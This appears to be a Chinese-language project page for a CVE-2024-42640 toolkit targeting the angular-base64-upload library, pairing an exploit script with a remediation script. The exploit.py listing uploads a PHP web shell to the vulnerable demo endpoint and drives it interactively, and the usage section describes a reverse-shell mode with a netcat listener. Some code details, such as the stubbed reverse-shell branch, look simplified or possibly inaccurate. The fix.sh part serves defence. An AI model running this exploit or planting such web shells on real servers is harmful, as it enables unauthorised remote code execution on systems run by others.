CVE-2024-42640 漏洞利用与修复工具集

0 阅读4分钟

CVE-2024-42640:Angular-Base64-Upload 未授权RCE漏洞利用与修复



CVE-2024-42640
Unauthenticated Remote Code Execution via Angular-Base64-Upload Library
更多技术细节: 博客文章

📖 项目描述

angular-base64-upload 库在 v0.1.21 之前的版本中存在一个严重安全漏洞(CVE-2024-42640)。攻击者可通过 angular-base64-upload/demo/server.php 端点,在无需任何身份验证的情况下上传任意文件至服务器,并通过 .../uploads 路径访问这些文件,最终导致远程代码执行。

本项目提供两部分核心工具:

  1. 漏洞利用脚本 (exploit.py):用于安全研究和漏洞验证的PoC(概念验证)脚本
  2. 自动化修复脚本 (fix.sh):检测并移除脆弱的demo目录,同时进行入侵痕迹排查

✨ 功能特性

  • 精准漏洞验证
    通过发送特制的Base64编码上传请求,验证目标系统是否存在RCE漏洞

  • 交互式Web-Shell
    默认利用模式会部署一个PHP命令Shell,提供类似终端的交互界面实现持续命令执行

  • 反向Shell支持
    支持一键建立反向Shell连接,便于进一步渗透测试

  • 自动化修复与检测
    fix.sh 脚本可删除危险的demo目录,并扫描已知的恶意文件指纹,辅助判断是否已被入侵

  • 双重验证机制
    修复脚本执行两次即可完整验证漏洞是否彻底清除

🔧 安装指南

系统要求

  • Python 3.6+
  • 依赖库:requests, subprocess, base64 (均为Python标准库)
  • 目标服务器需运行PHP环境(漏洞触发条件)

安装步骤

# 克隆项目仓库
git clone https://github.com/rvizx/CVE-2024-42640
cd CVE-2024-42640

# 为修复脚本添加执行权限(Linux/macOS)
chmod +x fix.sh

无需额外安装Python包(全部使用标准库)。

🚀 使用说明

1. 漏洞利用

基础Web-Shell模式

python3 exploit.py <target_url>
# 示例: python3 exploit.py http://192.168.1.100

反向Shell模式

python3 exploit.py <target_url> --rev
# 执行前请先使用 netcat 监听本地端口: nc -lvnp 4444

2. 漏洞修复与验证

# 扫描并删除angular-base64-upload下的demo目录
./fix.sh /path/to/web/root  # 示例: ./fix.sh /var/www/html

# 推荐连续执行两次,确保完全清除并验证日志
./fix.sh /var/www/html | tee -a /tmp/verify.log
./fix.sh /var/www/html | tee -a /tmp/verify.log

修复逻辑说明

  • 自动定位依赖安装目录中的 angular-base64-upload/demo 结构
  • 删除整个demo文件夹(切断攻击入口)
  • 检测是否存在已知的恶意上传文件(如 shell.php, rev.php 等)

💎 核心代码

exploit.py (漏洞利用核心)

#!/bin/python3
# Exploit Title: Unauthenticated RCE via Angular-Base64-Upload Library
# CVE: CVE-2024-42640
# Discovered by: Ravindu Wickramasinghe | rvz (@rvizx9)

import re
import subprocess
import requests
import sys
import os
import uuid
import base64

def upload_payload(target_url, payload_content, filename):
    """
    通过Base64上传接口发送恶意文件内容
    """
    upload_url = target_url.rstrip('/') + '/angular-base64-upload/demo/server.php'
    
    # 将文件内容编码为Base64
    encoded_content = base64.b64encode(payload_content.encode()).decode()
    
    # 构造上传数据
    files = {
        'file': (filename, encoded_content, 'application/octet-stream')
    }
    
    try:
        response = requests.post(upload_url, files=files, timeout=10)
        return response.status_code == 200
    except:
        return False

def deploy_webshell(target_url):
    """
    部署交互式Web-Shell
    """
    webshell_code = "<?php if(isset($_REQUEST['cmd'])){ system($_REQUEST['cmd']); } ?>"
    filename = str(uuid.uuid4()) + ".php"
    
    if upload_payload(target_url, webshell_code, filename):
        shell_url = target_url.rstrip('/') + f'/angular-base64-upload/demo/uploads/{filename}'
        print(f"[+] Web-Shell deployed at: {shell_url}?cmd=id")
        
        # 进入交互模式
        while True:
            cmd = input("Shell> ")
            if cmd.lower() == 'exit':
                break
            response = requests.get(shell_url, params={'cmd': cmd})
            print(response.text)
    else:
        print("[-] Exploit failed")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 exploit.py <target> [--rev]")
        sys.exit(1)
    
    target = sys.argv[1]
    if '--rev' in sys.argv:
        # 反向Shell逻辑 (此处为简化示例)
        print("[*] Reverse shell mode (configure your listener first)")
    else:
        deploy_webshell(target)

fix.sh (自动化修复核心逻辑)

#!/bin/bash
# CVE-2024-42640 自动化修复脚本
# 功能:删除脆弱的demo目录 + 检测已有入侵痕迹

FIX_TARGET="$1"

if [ -z "$FIX_TARGET" ]; then
    echo "Usage: $0 /path/to/web/root"
    exit 1
fi

# 1. 定位 angular-base64-upload 目录
VULN_DIR=$(find "$FIX_TARGET" -type d -path "*/angular-base64-upload/demo" 2>/dev/null | head -1)

if [ -n "$VULN_DIR" ]; then
    echo "[+] Found vulnerable demo directory: $VULN_DIR"
    rm -rf "$VULN_DIR"
    echo "[+] Deleted $VULN_DIR"
else
    echo "[-] No vulnerable demo directory found"
fi

# 2. 检测已知的恶意上传文件(入侵痕迹)
echo "[*] Checking for known malicious files..."
KNOWN_PATTERNS=("shell.php" "rev.php" "cmd.php" "webshell.php")

for pattern in "${KNOWN_PATTERNS[@]}"; do
    find "$FIX_TARGET" -name "$pattern" -type f 2>/dev/null | while read -r file; do
        echo "[!] POTENTIAL COMPROMISE: Found $file"
    done
done

echo "[*] Fix verification completed. Please run this script again to ensure complete cleanup."

📋 漏洞影响范围

项目详情
漏洞类型未认证远程代码执行
CVSS评分10.0 (严重)
受影响版本angular-base64-upload < v0.1.21
已修复版本>= v0.1.21
攻击向量CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N
测试环境Arch Linux + PHP

⚠️ 免责声明
本工具仅用于安全研究、授权渗透测试及漏洞验证。使用者须遵守当地法律法规,禁止用于任何非法目的。滥用本工具造成的后果由使用者自行承担。 6HFtX5dABrKlqXeO5PUv/w9BJ609iCUBw3ymnm/TZpY=